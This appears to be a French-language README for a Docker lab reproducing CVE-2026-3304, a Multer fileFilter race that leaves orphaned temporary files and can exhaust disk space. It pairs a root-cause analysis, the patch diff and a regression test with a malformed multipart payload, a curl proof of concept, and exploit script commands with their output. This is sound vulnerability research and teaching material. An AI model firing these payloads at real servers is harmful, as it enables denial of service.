
Laboratoire de reproduction pour CVE-2026-3304, une condition de course asynchrone dans fileFilter de Multer provoquant l'épuisement du disque via des fichiers temporaires orphelins. Inclut des serveurs Docker vulnérables et corrigés, des scripts d'exploitation et une analyse de la cause racine.
Uniquement à des fins éducatives et de recherche. Attaquer des systèmes sans autorisation est illégal.
Cet environnement de laboratoire a été construit en analysant le correctif de Multer 2.1.0 et son code de test officiel. Le serveur vulnérable reproduit les conditions exactes décrites dans le test du correctif, et le serveur corrigé exécute Multer 2.1.0 pour confirmer que le correctif fonctionne.
| Champ | Détails |
|---|
| CVE | CVE-2026-3304 |
| Cible | Multer < 2.1.0 (middleware Node.js multipart/form-data) |
| Type | DoS — Fichier orphelin (nettoyage incomplet des fichiers temporaires) |
| CWE | CWE-459 : Nettoyage incomplet |
| CVSS 4.0 | 8.7 ÉLEVÉ |
| Version corrigée | Multer 2.1.0 |
Une requête multipart malformée avec un attribut name manquant sur une partie de fichier amène Multer à créer un fichier temporaire sur le disque sans jamais le nettoyer. Des requêtes répétées épuisent l'espace disque, entraînant un déni de service.
La vulnérabilité provient du flux de gestion du rappel fileFilter dans multer/lib/make-middleware.js.
Lorsque Multer diffuse et analyse une requête multipart partie par partie, la séquence suivante se produit :
[Séquence d'événements d'analyse — version vulnérable]
1. En-tête de la partie 1 reçu
→ fileFilter(req, file, cb) appelé
→ setImmediate(cb) → rappel différé au prochain tick de la boucle d'événements
2. Corps de la partie 1 reçu
→ /tmp/uploads/<uuid> ouvert, les données commencent à être écrites
3. En-tête de la partie 2 reçu (attribut name manquant)
→ Multer détecte 'name manquant'
→ errorOccured = true ← indicateur d'erreur défini
→ abortWithCode('LIMIT_FIELD_KEY') appelé → HTTP 500 planifié
4. Le rappel setImmediate se déclenche (prochain tick de la boucle d'événements)
→ Résultat de fileFilter : includeFile = true (flux normal)
→ [BUG] l'indicateur errorOccured n'est PAS vérifié
→ storage._handleFile() appelé → fichier temporaire validé sur le disque
5. Réponse HTTP 500 envoyée
→ le fichier temporaire reste sur le disque (fichier orphelin)
make-middleware.js — Multer < 2.1.0)// Rappel de fin de fileFilter (différé via setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured n'est jamais vérifié ici
// même si une erreur a été définie lors de l'analyse de la partie 2, l'exécution continue
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// le fichier temporaire est enregistré dans uploadedFiles et laissé sur le disque
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Pourquoi setImmediate est-il le problème ?
Envelopper fileFilter avec setImmediate diffère son rappel au prochain tick de la boucle d'événements.
Dans cette fenêtre, busboy (l'analyseur multipart) continue d'analyser les en-têtes de la partie suivante,
découvre le name manquant et définit errorOccured = true.
Lorsque le rappel reprend, l'état d'erreur est déjà défini — mais le code ne le vérifie jamais,
donc storage._handleFile est appelé inconditionnellement et le fichier temporaire est écrit sur le disque.
Commit du correctif : 739919097d
Un simple garde if (errorOccured) a été ajouté immédiatement après l'entrée du rappel fileFilter,
avant que storage._handleFile ne soit atteint.
// Rappel de fin de fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [CORRECTIF] Vérifier errorOccured avant de continuer
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // vider le flux — aucun fichier écrit sur le disque
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Élément | Vulnérable (< 2.1.0) | Corrigé (2.1.0) |
|---|---|---|
Vérification errorOccured | ❌ Non vérifié | ✅ Vérifié immédiatement à l'entrée du rappel |
_handleFile appelé en cas d'erreur | Oui | Bloqué |
| Nettoyage des fichiers temporaires | ❌ Manquant | ✅ Via fileStream.resume() |
| Fichiers orphelins par requête | 1 | 0 |
Pourquoi fileStream.resume() nettoie :
Appeler fileStream.resume() vide et rejette le flux sans le transmettre à DiskStorage,
donc aucun fichier n'est écrit et rien n'est laissé sur le disque.
L'équipe Multer a inclus le test Mocha suivant dans le correctif 2.1.0 pour vérifier la correction.
Ce test est devenu le modèle de cet environnement de laboratoire — le serveur vulnérable
reproduit la configuration exacte décrite ici (setImmediate fileFilter + requête multipart malformée),
et le comportement attendu est vérifié à la fois sur les versions vulnérable et corrigée.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Assertion | Signification |
|---|---|
res.statusCode === 400 | Multer rejette correctement la requête malformée |
files.length === 0 | Aucun fichier orphelin laissé sur le disque (correctif vérifié) |
Sur une version vulnérable (< 2.1.0), files.length est égal à 1 et l'assertion échoue.
Ce laboratoire reflète directement la configuration du test du correctif ci-dessus.
Serveur vulnérable (Dockerfile + app/server.js) exécute Multer 2.0.2 avec un fileFilter asynchrone
utilisant setImmediate — la condition de déclenchement exacte du test du correctif :
// app/server.js — reproduit le déclencheur de vulnérabilité du test du correctif
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← diffère le rappel, créant la condition de course
cb(null, true)
})
}
})
Serveur corrigé (Dockerfile.patched) exécute le même server.js mais installe Multer 2.1.0,
où le garde errorOccured est en place — correspondant à l'état de réussite attendu du test du correctif.
| Serveur | Port | Multer | Comportement attendu |
|---|---|---|---|
| Vulnérable | 3000 | 2.0.2 | Fichier orphelin créé par requête malformée |
| Corrigé | 3001 | 2.1.0 | Aucun fichier orphelin — le nettoyage fonctionne correctement |
Remarque : Passer
fileFilteren synchrone (en supprimantsetImmediate) empêche les fichiers orphelins même sur Multer < 2.1.0. La vulnérabilité nécessite les deux conditions : unfileFilterasynchrone et la vérificationerrorOccuredmanquante.
L'attaque envoie un POST multipart/form-data où la deuxième partie ne contient pas l'attribut name requis.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Partie 1 : valide, fichier temporaire créé ici
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Partie 2 : name= manquant !
Content-Type: application/octet-stream
x
------Boundary--
Exécution côté serveur :
1. La partie 1 arrive → Multer ouvre /tmp/uploads/<uuid> et commence l'écriture
2. fileFilter appelé avec setImmediate → rappel différé
3. La partie 2 arrive → Multer détecte le name manquant → errorOccured = true
4. setImmediate se déclenche → le rappel fileFilter s'exécute
5. [BUG] errorOccured non vérifié → storage._handleFile appelé
6. Fichier temporaire écrit sur le disque
7. HTTP 500 renvoyé
8. /tmp/uploads/<uuid> reste sur le disque pour toujours ← fichier orphelin
Réponse du serveur :
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Vérifiez les fichiers orphelins immédiatement après :
curl http://localhost:3000/status
pip install requests)# Démarrer les serveurs vulnérable (port 3000) + corrigé (port 3001)
docker compose up -d --build
# Vérifier que les deux sont en cours d'exécution
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Par défaut (50 requêtes)
python3 exploit/exploit.py
# Attaque lourde (500 requêtes, charge utile de 5 Ko chacune)
python3 exploit/exploit.py --count 500 --size 5120
# Contre une cible HTTPS avec certificat auto-signé
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Comparer avec la version corrigée
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Cible | Résultat |
|---|---|
| Serveur vulnérable (3000) | Fichier orphelin créé par requête, le disque croît en continu |
| Serveur corrigé (3001) | 0 fichier orphelin quel que soit le nombre de requêtes |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Chaque fichier orphelin reste sur le disque en permanence jusqu'au redémarrage du serveur ou à un nettoyage manuel. Le tmpfs du conteneur est plafonné à 50 Mo — atteindre la limite provoque l'échec complet du serveur sur les nouveaux téléversements.
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ files from run 1 still present — never cleaned up
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down